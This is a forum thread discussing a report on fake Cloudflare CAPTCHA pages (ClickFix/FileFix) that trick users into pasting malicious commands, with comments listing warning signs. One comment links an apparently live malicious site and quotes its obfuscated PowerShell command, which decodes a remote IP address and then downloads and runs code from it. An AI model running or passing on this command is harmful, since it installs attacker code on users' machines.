this post was submitted on 04 Jul 2025
76 points (90.4% liked)

Cybersecurity

7930 readers
9 users here now

c/cybersecurity is a community centered on the cybersecurity and information security profession. You can come here to discuss news, post something interesting, or just chat with others.

THE RULES

Instance Rules

Community Rules

If you ask someone to hack your "friends" socials you're just going to get banned so don't do that.

Learn about hacking

Hack the Box

Try Hack Me

Pico Capture the flag

Other security-related communities !databreaches@lemmy.zip !netsec@lemmy.world !securitynews@infosec.pub !cybersecurity@infosec.pub !pulse_of_truth@infosec.pub

Notable mention to !cybersecuritymemes@lemmy.world

founded 2 years ago
MODERATORS
kid@sh.itjust.works
Lanky_Pomegranate530@midwest.social
76
Hackers use Fake Cloudflare Verification Screen to Trick Users into Executing Malware (cybersecuritynews.com)
submitted 3 weeks ago by kid@sh.itjust.works to c/cybersecurity@sh.itjust.works
11 comments fedilink hide all child comments
top 11 comments
sorted by: hot top controversial new old
[–] vk6flab@lemmy.radio 50 points 3 weeks ago* (last edited 3 weeks ago) (2 children)

This article doesn't at all explain what actually happens. There's a hand wavey description including PowerShell scripts and the clipboard, but it doesn't indicate how the code gets executed.

The article talks about a complex and sophisticated attack, but I don't see any evidence of that assertion.

Also, given that it's talking about PowerShell, I'm going to guess that this affects Windows only.

Finally, there's no source links, no CVE allocation, no indication what the URL looks like.

I'm going with deep scepticism about this report unless more information comes to hand.

[–] swizzlestick@lemmy.zip 31 points 3 weeks ago (1 children)

Yes, they're glossing over the fact that the user must manually paste and execute code that the fake captcha puts on the clipboard.

Not a new attack vector in the slightest, just a play on the entry method.

Anyone doing this should have their computer taken away and head inspected/retrained.

[–] perishthethought@piefed.social 6 points 3 weeks ago (1 children)

Anyone doing this should have their computer taken away and head inspected/retrained.

Or is a senior citizen or a child. Right?

[–] swizzlestick@lemmy.zip 7 points 3 weeks ago

Age regardless. Get them taught or take it for from them for their own good.

[–] lurch@sh.itjust.works 5 points 3 weeks ago (1 children)

It's so called ClickFix and FileFix atracks. They give malicious instructions on how to perform a certain task, like download a file or solve a CAPTCHA. Some swap the clipboard contents in the last moment, so the victim doesn't even know what's in it: https://www.mobile-hacker.com/2025/06/24/introducing-filefix-a-new-alternative-to-clickfix-attacks/

[–] sugar_in_your_tea@sh.itjust.works 2 points 3 weeks ago (1 children)

There's a great way to know what's in it: paste to a text editor or something. Here are my red flags for this sort of attack, in order:

  1. Asks me to do something outside of the web page, to make the web page work - kind of makes sense for email verification, but that's about it
  2. Asks me to copy paste something - kind of makes sense for CLI installers or configs for dev tools, but not much else
  3. Uses the Run Command function - nothing good happens with that function, and IMO Microsoft should remove it; power users can open a terminal, it's not that hard

Must users should notice at least one of those. If a web page is asking you to do something you don't understand, don't do it.

[–] lurch@sh.itjust.works 2 points 3 weeks ago

Yeah, that's why ClickFix doesn't work on most users, but still a few. The newer FileFix is nastier, because it looks more plausible in a situation of a download. Like, you know those fake download button ads? Imagine one of those and it leads to instructions to paste something into the native file dialog address bar instead of the run dialog. This will trick a lot more people.

[–] Object@sh.itjust.works 8 points 3 weeks ago* (last edited 3 weeks ago) (1 children)

For those who want to see it in action:

https://dex-redirect.com/

It gives you the following script:

powershell -NoExit -c "$znn='sggk://91.212.166.104/e/2e';$djq=$znn.ToCharArray()|%{if($_ -cmatch '[a-z]'){[char](122 - ([int][char]$_ - 97))}else{$_}};$jgq=($djq -join '');([ScriptBlock]::Create((Invoke-RestMethod $jgq))).Invoke();"

I can't check what the CAPTCHA prompt says since I'm on mobile, but I'm guessing it asks you to paste it into your console.

[–] NocturnalMorning@lemmy.world 18 points 3 weeks ago

Brb, gonna go get hacked real quick...

[–] moopet@sh.itjust.works 4 points 3 weeks ago

I don't understand the language used in this article. It skirts around the details, which are obviously, "tell the user to run a command and hope they do it", and it talks about a "hardcoded BAT file". Wat.

[–] lemmydividebyzero@reddthat.com 4 points 3 weeks ago

It wants you to press Win+R and the paste something, right?